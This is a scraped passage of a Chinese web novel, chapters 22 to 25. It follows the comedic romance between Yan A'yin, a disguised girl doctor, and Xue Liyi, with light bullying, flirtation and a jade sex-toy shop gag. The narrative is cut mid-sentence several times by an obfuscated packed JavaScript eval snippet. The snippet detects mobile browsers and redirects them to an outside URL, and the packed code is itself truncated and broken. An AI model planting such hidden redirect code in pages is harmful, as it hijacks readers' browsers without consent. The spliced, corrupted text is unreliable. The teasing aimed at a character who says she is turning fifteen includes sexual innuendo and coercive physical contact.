晏阿音突然瞪圆眼睛,指着另一边惊讶道:“那里有蛇!” 说着,趁着薛荔衣愣神之际,她身子往下一滑,动作迅速、准确地从他的手臂底下钻过去。 可孰料,脑袋还没钻过去,就已经被薛荔衣一把拎了回来。 她呆住。 原本以为自己的逃跑技术已经炉火纯青,怎么还是被薛荔衣一眼识破了? 薛荔衣拎着她,轻啧了声。 “还想跑呢?小骗子,张口扯谎,不带一点犹豫的,也不知道这么些年,有多少人栽在了你手上。” 晏阿音被抓住衣襟,简直如同当头霹雳,呆了会儿,只得做了一幅可怜巴巴的讨好模样看着他,笑得谄媚。 “当然没有了,我不经常骗人的。” 薛荔衣打量着她希冀的、小心翼翼的眼神,挑眉。 “当初你问我,是你更男人,还是我更男人;如今,你自己说说,是你更像男人,还是我更像男人?” 晏阿音绷着脸皮干笑。 “呵呵,那自然是你。” 薛荔衣听了这话,却似乎并不满意,他衣摆下的长腿轻轻一提,膝盖往前一送,便抵到了她的衣摆中间,她浑身僵住,只觉得此时此刻二人的情形实在是、实在是不得体。 “你你你……” 他不紧不慢道:“那你再说说,你是大哥,还是,我是大哥?” 他居然让她叫他大哥?他反了天了不成。 晏阿音的眼里都要喷火了。他区区一个被差遣的小弟,居然想爬到她的头上? 是可忍熟不可忍。 “当然是……” 晏阿音气势汹汹地说到一半,还没说完,却敏锐地察觉那有力的长腿往上随意地移了移,隔着衣裳,触碰到了她的大腿。虽然只是轻轻贴着,她却感觉到了那腿上蓄势待发的流畅肌肉,暗藏遒劲的力道,轻轻松松就可以干掉她。她害怕了。 “嗯?”他随意地问。 晏阿音眼泪都要掉下来了。 只得屈辱地道: “呜呜,当然是你,是你!” 薛荔衣唇边的笑这才轻轻勾起,显然满意了:“这句话,甚是好听。” 是啊,真好听。 晏阿音磨牙。 真是气煞我也。 好想动粗,但她也只能想想。 武力值完全不够,真让她现在揍人,她不敢。 “你给我放开。”晏阿音色厉内荏地威胁道。 薛荔衣还是那副懒洋洋的模样,随意上扬地“嗯”了声,桃花眼斜睨着她。 “放开可以。你应该叫我什么?” 晏阿音眼里压着不服和悲愤,屈辱道:“大,哥。” 薛荔衣唇边笑意愈发浓了。 “嗯。” 他很是舒适地应了声,似乎极是享受她这样叫他。 晏阿音看他这副模样,屈辱与悲愤愈发浓了。 “我叫完了,你说好给我放开的呢?” 薛荔衣慢悠悠地凑近她耳边,气息低沉好听。 “我觉得……这句大哥甚是好听,不如你多叫几声?” 还蹬鼻子上脸了。 实在太过分了。 晏阿音气昏了头,再不想忍了,猛地一口朝他的脸上咬去。 张牙舞爪,咬得毫不留情。 薛荔衣被咬了一口,脸上传来的痛意,让他愣过之后,愈发勾起唇角,眼角眉梢一挑,带起愉悦的笑。 哟。 还是只会咬人的兔子。 晏阿音见薛荔衣被咬了竟然完全没反应,心中迟疑了一瞬。难道他感觉不到痛?好奇怪,为什么他都不说话的? 她心中疑惑,便松了口想看看他的情况。果然,眼前,薛荔衣白皙的脸皮上赫然一个牙印,上面还有些口水。 她莫名有些尴尬,眼神默默移开。 薛荔衣见她侧过头,露出的耳小巧精致,通红通红得像是要滴出血来。他心中念头微动,左右此刻她与他都如此相近了,那再近些,也无妨。 他凑近了她,气息轻轻地扫过她的脸颊,贴在她耳边低声道:“可咬的过瘾?可要再在另一边咬一口?” 晏阿音被这句话,震得五雷轰顶。 天底下,怎么会有人厚颜无耻到如此地步,居然还让她再咬一口! 她自认厚颜无耻,谁料现在遇到了一个比她更厚颜无耻百倍的家伙。 晏阿音察觉耳边传来的酥麻,只觉得两条腿控制不住地软了,几乎到了站都站不住的地步。 “你,你……” 她哆哆嗦嗦,看着他一句话都说不出来。 薛荔衣近距离见她宛如傻了的兔子般瞧着他,再忍不住,哈哈大笑起来。 晏阿音吓得不行,见他松了桎梏,连忙跌跌撞撞地跑走了。 上台阶时还差点腿软哐哐摔一大跤。 背后不远处那人站在墙角处,笑声毫不收敛,肆意的很。 听着那揶揄清晰的笑声,晏阿音的脸爆红,只觉得浑身上下热的都快要冒气儿了,忙不迭的跑回了自己的屋子。 没过多久,买完了三斤酒的大安回来,看见只有薛荔衣一个人站在天井底下,纳闷地挠了挠头。 “大哥呢?” 薛荔衣随意道:“不知道啊,可能睡着了吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940467|177329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 大安为难地抱着酒坛。 “那……这酒咋办啊。” 薛荔衣道:“明日再喝呗。” 大安察觉出薛荔衣此刻似乎心情很好,奇怪地问: “薛兄弟,你是捡钱了么,怎么这么开心啊?” 捡钱? 嗯,倒也和捡钱差不多了。 薛荔衣轻笑一声,道:“是啊,捡钱了。” 说完,他便自从台阶上去,回了自己的屋子去了。 徒留大安站在原地羡慕。 真捡钱了啊。 薛兄弟运气咋那么好? 末了,大安呆呆地看看怀里的酒,想起什么,悲从中来,忍不住呜呜抹眼泪。 呜呜呜,薛兄弟捡钱了,可是他却没了好多钱呀…… * 自从那日晚上,晏阿音几乎都躲着薛荔衣走。 薛荔衣早上起了床,出来吃早饭,她原本好好的坐在饭桌上,立刻啪的站起来就走,粥点儿甩了旁边茫然的大安一脸。 午时,大安做好了饭叫他们吃饭,薛荔衣走到饭桌边坐下了,晏阿音从药馆走回来,看见薛荔衣,唰一下就窜回了屋子,对大安大喊:“我困了,睡会儿再来吃。” 大安纳闷地问薛荔衣:“大哥最近为什么老是这么困?” 薛荔衣一边吃饭,一边随口道:“可能是太困了吧。” 这个回答……大安抬头看着天空努力思考,怎么好像,听君一席话,如听一席话? 晚上,大安煮好了粥,晏阿音终于不情不愿地出来吃晚饭了。 只不过,薛荔衣只要伸筷子夹她面前的菜,晏阿音便立刻抱住粥碗警惕无比,浑身汗毛倒竖,像只惊恐的兔子。 大安迷茫地问她:“大哥,你干啥呢?” 晏阿音瞪眼:“我练功呢。” 大安“哦”了一声,继续认真地埋头吃饭。 * 又过了一段时日,情况就这样保持到了入冬。 这一日,晏阿音琢磨着医馆里的物资不够了,该去市场上买点儿回来囤着过冬,于是收拾了点银子,准备出发去集市。 可谁料才走出门,身后便跟了一个人。 晏阿音扭头,见薛荔衣若无其事地走在后头,似乎碰巧与她同路。 她吓得抱紧包裹,拔腿飞窜。 跑了一阵子,扭头再看看,果然看不见薛荔衣了。 晏阿音终于大松一口气,放松身心,在集市上逛了起来。 哎,好久没上街,总算能好好逛逛了,让她看看最近市面上都多了什么新鲜玩意儿。 晏阿音新鲜地这里看,那里看。 四周人来人往,笑闹叫卖。 晏阿音拐过这条街,不知不觉间走入了另一条稍显冷清的街道。在路过一个铜镜摊子前,她眼风无意识地一瞟,忽然,在铜镜里看见了身后不远处同样随意的薛荔衣。 他没看她,也在专注地浏览摊位上的货物。 某人,轻轻地裂开了。 ??? 她不是已经把薛荔衣给甩掉了吗??? 他怎么还在??? 晏阿音大惊失色,左右急看,慌张中,瞧见旁边一家装潢精美、金玉满堂的店铺,也不管是什么店,想也不想便冲了进去。 22. 第 22 章 店铺的掌柜是个老道的中年商人,在柜台噼里啪啦打算盘打的飞快,听见脚步声,抬头。见晏阿音大步流星地进来。 许是破罐子破摔,晏阿音今日没有再刻意把自己装扮成男子,也并未束发,旁人很容易便能看出她是女子,只不过她穿着一身素青色短衫,倒像个雌雄莫辨的文弱小公子。 那掌柜看见晏阿音进来,绕出柜台,抬出和善的微笑:“姑娘是第一次来我们店里吧,想买哪种尺寸的玉啊?” 晏阿音正在慌乱中,显然静不下心来挑东西,随口便道:“掌柜的,我随便看看,您忙您的。” 掌柜打量着她,心中暗道这位姑娘虽不似别的女子穿金带银,把阔绰摆在明面上,但说不定是不显山不露水的有钱人。再看这姑娘身后走进来的贵公子,与她似乎是一伙的,行为举止落落大方,一看便知不是寻常人家出来的。 不过呢,像这般男子陪着女子来的,他从商这么久,还是头一次见。从前要么是姑娘一伙儿结伴来,要么就是男子孤身上门,但都是买了就走,像这两口子这样逛逛看看、说说笑笑的…… 真少见。 不过,天下之大无奇不有,指不定这是人家一对儿之间的趣味呢? 这般一想,掌柜的当即捧出更灿烂的笑容:“好好好,姑娘随意看,随意看。” 晏阿音正点了点头,可却又总感觉哪里不对。 警觉地一扭头。 薛荔衣站在她身后,拧着眉看她,似乎很不理解。 她瞪目:“……你什么时候跟我进来的?” 薛荔衣道:“就方才啊。” 晏阿音深吸了口气。 面上挤出一个得体和蔼的笑容。 绷紧着嘴角扭头,心中忽然想道,薛荔衣看起来似乎有些奇怪。 他这是什么神情?她从未见过他这样疑惑迟疑的模样,就好像在质疑她为何要进这家店铺。 她进不得吗?他是觉得她掏不出银子?她这个小大夫就算再清贫,倒也没有到连店都逛不起的地步。 晏阿音心中杂乱地想着,便走到展览柜台前,从黄花梨木匣子中拿了根玉,一眼也没看手里泛着水润光泽的玉,目光四处乱转,没落到实处。 玉能静心。 对,静心。 晏阿音吐了口气。很好,平静了。 她不能被薛荔衣这种宵小之徒给扰乱了思绪。 掌柜瞅见她神情和缓,以为很是满意,当即一拍手掌过为她介绍:“姑娘好眼光啊,这玉用得可是进口的西域玉料,材质极佳,是最最好的玉种了。您瞧!这通体润白,没有一丝杂质,触手生温,绝对是佳品中的佳品!” 晏阿音听掌柜喋喋不休,应付地点着头,随意地掂量了一眼手里的玉:“确实不错。” 但也只是一眼而已,她移开视线,若有所觉地往店外的街道看去。 晏阿音发现好像哪里不对。 这家店铺外经过的人不多。不,不仅算不上多,甚至都没有几个人。 而且将才她从这条街一路走过来,好像也没遇上什么人。 奇怪,其他街道热热闹闹,并不像这条街这么冷清。 这条街是卖什么的? 晏阿音正迟疑地思索着,身边掌柜还在卖力地推销:“姑娘,俗话说玉能养人,好玉就更能滋养身体了,您瞧您不施脂粉便这样好看,若是稍加打扮,那客云最出名的花魁娘子云稚见了您都要望尘莫及了!好玉配美人,您若买下这玉,我给您打包票,这玉绝对好用,而且绝对不伤身体,倘若我有一字虚言,您大可再回来找我。” 晏阿音:“……” 这掌柜为了卖东西,将她和花魁娘子比,把她吹上天了么? 晏阿音忽然发觉哪里不对,眉头慢慢皱起,浑身渐渐僵硬。 等一下。 花魁娘子。 哪一家卖东西的掌柜,会把客人同青楼里的人相比?这不是讨骂吗? 还有,不伤身体? 玉不是用来戴的吗?伤什么身体? 身边,某人低低的笑声忽然无比清晰地传来,传进她的耳朵里。 晏阿音忽地有了很不好的预感。 她僵硬地低下头,看向手里的玉。 这,是什么玩意。 薛荔衣似乎听见了她内心的这句话,他好整以暇地抱着手,附身靠近了她,在她耳边低声说了两个字。 清冽的气息拂过了她的耳朵。 他有一把好嗓音,声音低润好听,撩人多情。 可他说出口的两个字,却煞是…… 败坏风景。 听见那两个字,晏阿音好像风中凌乱了。 脑子一片空白。 转不动了。 见她僵硬在原地,薛荔衣又低声补了一句,好似发现了什么秘密:“你方才支开我,原来是想买这个啊?” “……” 晏阿音裂开了。 掌柜见晏阿音的脸色骤然变化,好像目睹了什么天塌地陷的事情,却又见旁边俊俏的公子轻轻挑眉,登时一头雾水搞不明白。这位姑娘的意思,是买还是不买啊? 掌柜不太理解,但还是尝试着努力一把,他店里来的客人少,这位姑娘看起来很满意,说不定就出手买下了呢? “姑娘,您可别不信,这玉的效果真的好,斜对门那春香楼的好多姑娘都喜欢,您试试就知道了,保管您用一次就爱不释手。” 薛荔衣唇边的笑意更是遮掩不住了。 他若无其事地侧头,看向别处。 晏阿音的脸红了又绿,绿了又青,青了又紫。 憋的。 掌柜更迷茫了,看这清秀姑娘的神色,到底是想买还是不想买啊? 见薛荔衣站在后头,掌柜决定转移阵地换一个人推销:“公子,给你家娘子买一个吧,先不说用不用的上,有您这一份心意,您两口子的生活都会更和谐的!” 薛荔衣的嗓音被笑意浸润得极是惑人:“她若是喜欢就买,不用问我。” 掌柜恍然大悟,原来是个宠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏阿音皱眉看他。 薛荔衣却停住了话头,不再说了。 只是依旧笑着。 晏阿音不吭声。 薛荔衣忽然问道:“你的生辰是不是快到了?” 晏阿音瞥他:“你怎么知道?” “你睡觉时说梦话。”他好笑地睨她,“我说过的,你忘记了么?” 晏阿音尴尬住了。 “好吧,我生辰确实快到了。”她记不太清地想了想,随口道,“应该是……应是十月十五吧……不重要,反正我也已经好几年没有过生辰了。” “你几岁了?” 晏阿音一愣。 继而低了些声道:“……这次生辰,应是十五了吧。” 23. 第 23 章 回家之前,薛荔衣还买了些吃食一并带回去当夜宵吃。 回到医馆的时候,大安就坐在门口,撑着下巴打瞌睡。 大安的头像小鸡啄米一样一点一点,没多久,一个落空,惊醒过来。 看见他们回来,大安立刻咧出笑脸:“哎,薛兄弟,大哥你们回……”大安迷惑地停顿了下,歪头问道:“这漂亮姑娘是谁啊?怎么长得这么像我大哥?” 晏阿音面无表情地回答:“因为我就是你大哥。” “哎呦我的妈。”大安吓一哆嗦,“大哥你怎么想不开男扮女装了,咱们家里不缺衣服啊。” “……” 晏阿音深吸了口气:“我就愿意男扮女装,怎么了。” 大安纠结地思索着,片刻,理解地点点头,好像自己是大哥最坚实的港湾。“好吧,大哥,那你穿女装吧,没关系大哥,你不要害怕丢脸,以后我也可以和你一起穿的。” 薛荔衣默默扭开了头,看向别处。但这个角度还是能看见他嘴角勾起的弧度,煞是明显。 看起来某人忍得很辛苦。 晏阿音的脸更黑了:“李大安!你别给我想着穿女装,听见没有!” 大安有些茫然,然后变成委屈:“为什么啊大哥,你给自己穿,却不给我穿,难道是因为我肚子太大穿不下吗?” “……” 晏阿音忍了又忍,终于憋出一句:“李大安,你给我滚进去吃夜宵去。” 大安看见薛荔衣带回的夜宵,难过立即一扫而空:“哎呀,薛兄弟带扁食回来了呀,来来来,我去把桌子收拾出来,咱们一起吃吧。” 大安的动作很利索,没多久就把桌子搬到天井底下,旁边有一堆生起的火堆,明黄的火焰噼里啪啦地燃烧着,散发出阵阵暖意。秋日寒凉的夜色里,几人坐在桌旁热气腾腾地吃起扁食来。 薛荔衣没吃两口,想起什么,起身去厨房里拎了两坛东西出来。 晏阿音瞪眼:“怎么还有酒?” 薛荔衣:“我昨日定的。” “……” 晏阿音立刻板下脸,表示自己绝对不会动摇:“反正我绝对不喝的,你要喝酒自己喝去。” 大安看着薛荔衣,目光期盼地举手:“我喝我喝,我喝,薛兄弟。” 大安和薛荔衣一人一坛酒。 大安幸福地抱着酒坛,咕噜咕噜地喝酒,薛荔衣则时不时抬起酒坛喝一口,懒洋洋的。 晏阿音吃完了扁食,立刻起身走到最角落去,捞起药筐干活。 界限分明,摆明了——她才不加入喝酒,等下如果某人要发酒疯,可别找她发。 大安抱着酒坛咕噜咕噜地喝,没一会儿,就喝上头了,脸变得红扑扑的,眼睛也傻了,呆呆地坐着。 没多久,大安忽然想起什么似的:“薛兄弟,你是不是要叫大哥付清啊?” 正在喝酒的薛荔衣一皱眉:“什么?” 晏阿音看见薛荔衣一言难尽地看向大安,忽然想起第一日捡回薛荔衣时她的自我介绍,忍不住捧腹大笑: “没关系,可以不叫付清,叫我蝶也可以。” 薛荔衣:“……” 大安撑着下巴坐着,努力地用自己不太清楚的脑子思索了一会儿,兴致勃勃地跑到了薛荔衣身边,掰着指头说:“薛兄弟,你叫大哥爹,我又是大哥的小弟,那那那,那按辈分,按辈分来说……” 大安的眼里迸发出了惊喜:“薛兄弟,你要叫我叔叔哎!” 大安差点被毫不留情地踹了出去。 “哎呦!”大安摔了一个屁股墩儿,捂着屁股爬起来,酒坛子都不要了,狼狈地跑出去:“别踢我的屁股呀,别踢我,好痛啊……” 柴火噼里啪啦地燃烧着,晏阿音抱着肚子笑够了,这才抬头对薛荔衣说道:“幼稚。” 薛荔衣幽幽看她一眼,嗤了声,坐下来,继续喝酒。 圆月当空,夜晚即将入冬的凉意被这热闹驱散了不少。 没多久,喝酒的薛荔衣没醉,反而是干活的晏阿音倒在旁边呼呼大睡起来。 大安原本有些醉了,好在他也不想再喝,而是坐在台阶上剥瓜子吃去了,吃的津津有味,不知不觉便不醉了。只是吃瓜子吃得很是认真,沉浸在自己的世界里,浑然不知晏阿音睡着了。 薛荔衣瞥了毫无睡相可言的晏阿音一眼,起身道:“你大哥睡着了,我抱她进房间休息。” 大安闻言,忙碌地“嗯嗯”两声,头都没抬。 薛荔衣把晏阿音抱进屋里,没多久便出来了。 他神情淡淡,提起酒坛,继续把剩下的酒喝完。 大安把手里的瓜子剥完了,头一扭,看见薛荔衣缄默地坐在旁边饮酒,眨巴眨巴眼睛,想起什么,眼睛亮闪闪地扭头看向门外。 “哎!薛兄弟,我忽然想起来,今儿是晚上附近那条六巷子口,卖白玉甜糕的大爷出来摆摊了,咱们去买点回来把?” 薛荔衣瞥向他。 大安挠挠头,嘿嘿的笑:“不是我想吃,是大哥喜欢吃。这个老爷爷每隔几日才会出来卖,每次大哥都让我去买,机会可难得了,我们可以买回来留着明日给大哥当早饭。好吧……其实不只是大哥喜欢吃,我也喜欢吃。”说到最后,越说越别扭起来。 薛荔衣点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940469|177329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头道:“好。走吧。” 大安收拾完瓜子壳,带着薛荔衣出门走六巷去。 在六巷子口,果然有个白胡子老爷爷在摆摊子,买的食客甚多,挤挤攘攘的,大安挤了半天,终于买到了热乎乎的白玉甜糕。 刚出炉的白玉甜糕烫手的很,用黄纸包着,外面系了绳子。大安提着绳子,仍是呼哧呼哧的往手里吹着气,烫手。 薛荔衣帮他提了一半。 大安见他神情平静,奇道:“薛兄弟,你不觉得烫吗?” 薛荔衣看了看自己的手,烫吗?只是比温热的温度高一些吧。他的目光落在自己的指腹上,那里的茧子映入了眼帘,叫他陷入沉默。 是啊。 他并不感觉烫。 曾经挽弓、射箭、握着缰绳的手,早已起了厚厚的茧子,自然感觉不到烫手。 可如今呢? 他在做什么? 薛荔衣缄默着,眉眼微盖,遮住了眼中的阴翳。 大安见他神情辨不出喜怒,也不明白发生了什么事情,独自往前走去了。 他们没有绕来时的小路回去,而是走了另一条宽阔的大道。 这条长街灯火通明,大安纳罕地这里看看,那里看看,没多久,忽然看见一家装潢华美的店铺,店里头燃着明灯,外头还挂着漂亮的灯笼,着实吸引人的目光。 大安又探头往里看了看,看着商铺里的红玉头面和金缕衣。 哦! 原来是卖女子妆饰之物和女子服装的店铺,怪不得这么晃眼呢。 大安看着那金玉嫣红,只觉得震撼,啧啧惊叹:“哇,好值钱了,上面可都是金子啊。” 薛荔衣闻言,也淡淡地抬眼看了过去。 大安看了会儿,遗憾地转回头,见薛荔衣仍盯着那些华美衣裳,眼底神色莫测,忍不住好奇地问道:“薛兄弟,你是想穿那个吗?” “……?” 薛荔衣面无表情地看向大安。 这天也没刮风啊,怎么这么冷。 大安赶紧嘿嘿干笑:“不是,我说错了,我其实是想说,你是想给大哥买吗?” 咽了口口水,大安诚恳地给出意见:“算了吧,你买不起。” 薛荔衣没吭声。 邻近店铺外头挂的灯笼明亮,刺得人睁不开眼,薛荔衣抬头,盯着其中一个打转的灯笼看了好一阵,微微眯了下眼睛。 他语气微凉:“是啊,买不起。” 如果是以他现在的身份,当然买不起。 薛荔衣不知心中想着什么,凝视着远处,面上似乎是带着笑意的,可却丝毫不达眼底。 24. 第 24 章 一场秋雨一场寒,雨淅淅沥沥地下了好几日,度堰河面上的波澜也便泛了好几日。 晏阿音坐在医馆里的桌子旁,惆怅地托着脸颊。 时不时叹口气,萎靡不振的。 薛荔衣正从她身边经过,去隔壁屋子拿东西,见状,步伐一顿,瞥她一眼道:“你这是做什么?” 晏阿音没动弹,声音有气无力地飘过来:“你没看见咱们医馆这几日都没人上门看病了么?我们都要没银子开锅了,再这样下去可不行啊……”说到一半,又纳闷地思索起来,“奇了怪了,就连老是风湿骨痛的徐大娘都没过来了,按道理她每隔一段时间都该过来拿药的。” 晏阿音百思不得其解,又忧愁地长叹了口气。 没多久,目光忽而一变,扭头瞪着薛荔衣,眼中即将要喷出的火光如有实质。 薛荔衣无辜道:“你这样看我做什么?” 晏阿音道:“我想起来了。” “想起来什么?” 晏阿音咬牙切齿道:“大家伙儿一定是那日被你吓坏了,所以不敢来了。” 薛荔衣挑眉道:“我生得这么风流倜傥,怎会被我吓坏?” “你还好意思说!要不是那日你、你你……” 要不是那日薛荔衣当着所有人的面故意做出一副和她暧昧不清的模样,大家伙儿怎会被吓跑?那日来看病问诊的大爷大娘又是爱传话的,恐怕如今附近十里八乡都知道度堰河附近晏家医馆的晏大夫是个金屋藏娇的断袖了! 薛荔衣似乎有些好心没好报的神色,委屈道:“可那日我是为了帮你。” 胡扯。晏阿音瞪目道:“你这叫帮我?” 薛荔衣闲闲地说道:“那日若不是我出来,打断了那小姑娘对你的绮思遐念,恐怕人家就要芳心错付走上一条不归路了呢……” 晏阿音惊呆了。 “啊?” 什么小姑娘,什么芳心错付,她怎么不知道。 薛荔衣瞧着她呆呆的模样,心道这一个七情六欲毫不开窍的小傻子,面上倒没什么表露,只嗤了声道:“你没发现那小姑娘坐你跟前看诊的时候,脸都要红成猴屁股了?你们大夫不是讲究望闻问切吗,你连望都望不出来么?” 晏阿音呆了又呆,她发觉了啊,但那时她只以为小姑娘有些发热,还准备在药方子里加点驱热清心的药材。 原来,小姑娘脸红竟是因为这个? 某人风中凌乱了。 薛荔衣见她终于明白了,闲闲地撇开头道:“我可是帮你打消人家小姑娘的念头,是替你省却了之后的麻烦,如今你居然来怪我?” 晏阿音觉得这话好像很对,又好像不对。 但哪里不对,她说不出来。 没多久,晏阿音反应过来,中气不足地辩解道:“你、你既然要帮我,可以选其他的法子嘛,比如……比如单独与那小姑娘说一说,解释清楚便是了。为何要在所有人面前和我做出很、很熟的模样?叫人误会。” “误会?误会什么?” 薛荔衣脚下忽地调转方向,一步步朝她走去。 晏阿音被他逐渐逼近的身影骇得往后倒去,“你你你做什么……” 薛荔衣走到她面前,俯下身,近距离地盯着她的眼睛。 “他们误会什么了?误会我们很熟?这是误会吗?呵,原来,你打心里觉得你和我不熟,是吗?” 晏阿音僵硬了一瞬。 不是,怎么回事……他怎么越说越悲愤了,悲愤的不应该是她吗? 却仍是害怕薛荔衣发难,忙道:“没、没有啊。” 薛荔衣虽然没动,也没什么表情,可冷淡的目光却如有实质,不咸不淡地从她的眉眼间扫过,继而是她的鼻梁,再往下,是紧抿着的嘴唇。 那唇嫣红,还带着健康的光泽,齿轻轻咬着下唇,是内心紧张拘束的自动流露。 晏阿音见薛荔衣如此近距离地沉沉盯着自己,一动不动,竟叫她生出覆天盖地的压迫与害怕来,忙着急地一把推开他,从椅子上起身,跑开了。 椅子空了,薛荔衣倒也没去追,只是随意地站起身,站在原地,侧头去看门外连绵不绝的小雨。 雨丝淅淅沥沥,轻轻打在墨黑的瓦片上,汇聚成小小的溪流而下。 * 到了傍晚,连绵的雨终于停了,久违的晚霞挂在天边,空气中飘散着雨后清新微凉的气息。 大安做好了晚饭,薛荔衣去晏阿音房间里叫她出来吃饭。 房门外,薛荔衣道:“吃饭。” 晏阿音瓮声瓮气的声音透过门板传过来:“不想吃。” 薛荔衣只是又重复了一遍:“出来吃饭。” 晏阿音以为他听不见,便加大了声音回道:“我不想吃,今晚你们自己吃吧。” 薛荔衣闲闲地道:“你若再不出来,我可就要破门了。门板若坏了,你可别哭。” “……” 门开了。 晏阿音出现,瞪圆了眼睛,盯着他:“你这个无法无天的嚣张之徒!” 薛荔衣瞧着她:“你说得对,我本就是个嚣张之徒。你认识我这么久,如今才知道?” 晏阿音气不打一处来:“你!” 真是无赖。 晏阿音气呼呼地摔开门,绕过薛荔衣大步往厨房走去。 饭桌上,大安扭头瞅着窗户外绚丽的晚霞,兴致勃勃地问道:“大哥,薛兄弟,今晚应该不下雨了,要不要出门买点好吃的回来?” 晏阿音一边闷头往嘴里扒拉饭,一边道:“随便。” 薛荔衣道:“可以,我和你大哥出去,回来给你带好吃的。” 大安喜出望外。 “太好了,薛兄弟,还是你好。” 还是薛兄弟好啊,每次回来都给他好东西吃,他要追随薛兄弟一万年。 不对。 大哥排第一,薛兄弟排第二。 嗯,他要追随大哥和薛兄弟一万年。 大安郑重地点点头,美滋滋地抱起碗继续吃饭了。 晏阿音闻言,警觉抬头,瞪薛荔衣:“谁说我要和你出去了?你要出门,自己出门去。” 薛荔衣悠悠道:“哎,真是枉费我和大安那日晚上出去给你买白玉甜糕了。” 晏阿音一呆。 什么。 甜糕是大安和薛荔衣一起出去买的? 她那日还以为是大安买的,原来,薛荔衣也去了? 晏阿音忽然有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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晏阿音一头雾水,却也只能跟着他走,待走过两条街,站在那层楼叠榭、画栋朱帘的云鬓楼大门外时,某人傻眼了。 晏阿音仰着头,觉得腿肚子都有点抖。 她可一分钱都没有。 这种地方,是她能进的吗! 晏阿音扭头就走。 又被薛荔衣拎回来。 “走什么?” 晏阿音指着他:“你你、你这是要害我!” 薛荔衣扬眉:“我怎么就要害你了?” 晏阿音悲愤欲绝:“你让我进这种地方买东西啊?买了东西没银子付,我可就要卖身给人家干活了!” 薛荔衣笑道:“我什么时候说要让你付钱了?” 啊。 不是吗。 晏阿音呆呆地道:“那,你付钱吗?” “对啊。”薛荔衣懒洋洋道,“今日不是你生辰么?你生辰及笈,是个重要的日子。我请你来此处花钱,不可以么?” 晏阿音狐疑地瞅着他:“你有银子么?” 薛荔衣嗤笑:“这你就别管了,反正不会让你卖身干活的。” 晏阿音想了想,觉得自己被说服了。 若没银子付钱,把薛荔衣卖了就卖了吧,反正他那么聒噪。 如此想着,晏阿音便也多了几分底气。 说不定里头的老板看薛荔衣长得有几分姿色,还多抵些钱呢。 晏阿音喜滋滋地走进了云鬓楼。 薛荔衣自然知道她心里想的是什么,无奈一瞬,倒是也跟了进去。 25. 第 25 章 云鬓楼不止一层,木梯通向二楼,各处的木门皆有精致雕花,叫晏阿音看得目不暇接。 哇,好大的房间。 哇,好漂亮的檐角铜铃。 哇,好多的姑娘。 哇,好华丽的女人…… 晏阿音认出面前来来人是云鬓楼的老板娘,不敢乱腹诽了,立刻站得笔直笔直像根柱子。 薛荔衣好笑地看了晏阿音一眼,对老板娘说:“老板娘,今日是她及笈生辰,故来云鬓楼,想请您给她妆扮妆扮。” 老板娘是个富有风情的中年女人,穿着一件嫣红色绫罗袄子,走起路来一扭一扭。她在晏阿音和薛荔衣面前站着,眼风堪堪一扫晏阿音,便明白了。 “这样啊,没问题,这位姑娘生得好看,打扮完定也是个绝世佳人。” 晏阿音伸出手指头指着自己:“我?” 她呆住了。 不是,她今日穿着男装,束着男子发髻,老板娘是怎么知道她是姑娘的? 晏阿音还尚在呆愣中没回过神,老板娘已经拍了拍手,高声道:“钱娘子,来干活了。” 话语刚落,隔壁屋子立刻奔出一个体态丰满的娘子,圆脸大眼,干劲十足。 钱娘子大步走过来,看见晏阿音,眼前一亮,哈哈大笑道:“好姑娘,跟我走,保准一会儿你变得漂漂亮亮的。” 说着,钱娘子二话不说便拉着晏阿音进了一间房间。 一切发生在电光石火之间,等到晏阿音回过神,已经被按着坐在足有一人高的铜镜面前。 钱娘子实在风风火火太能说道,一边给她拆发髻,一边念叨: “我们老板娘既然发了话,让我给姑娘你打扮,那我自然是要按着最好看的给姑娘装扮,方才听那位公子说今日是姑娘你及笈生辰是不是?那找我们云鬓楼可就对了,及笄这件事,一辈子啊也就这一次,及笄之后可就是大姑娘了,可以嫁人可以同自己钟爱的人长长久久,哦对了,姑娘,你怎么束着男子发髻啊……” 晏阿音还在惊愕中。 她瞪大了眼睛,本想说话,可瞧见铜镜里钱娘子的手像翻花一样,翻转间,就变出一个新花样,就像仙术似的,不知不觉注意力竟也被带偏了过去,呆呆地看着钱娘子做事。 钱娘子将她的男子束发拆了,巧手反转,重新梳了发髻,往上一个劲地添簪和钗。 红玉流苏步摇叮叮当当,她一动,就响个不停。 耳边的说话声就没断过,这位娘子很是健谈,从她踏进这里到现在话就没停过。 不知不觉,过去了半个时辰。 钱娘子还在念叨。 晏阿音慢慢地犯起了困,眼皮上下直打架,脑袋也逐渐向旁边歪去,但每次都能被钱娘子扶回来。 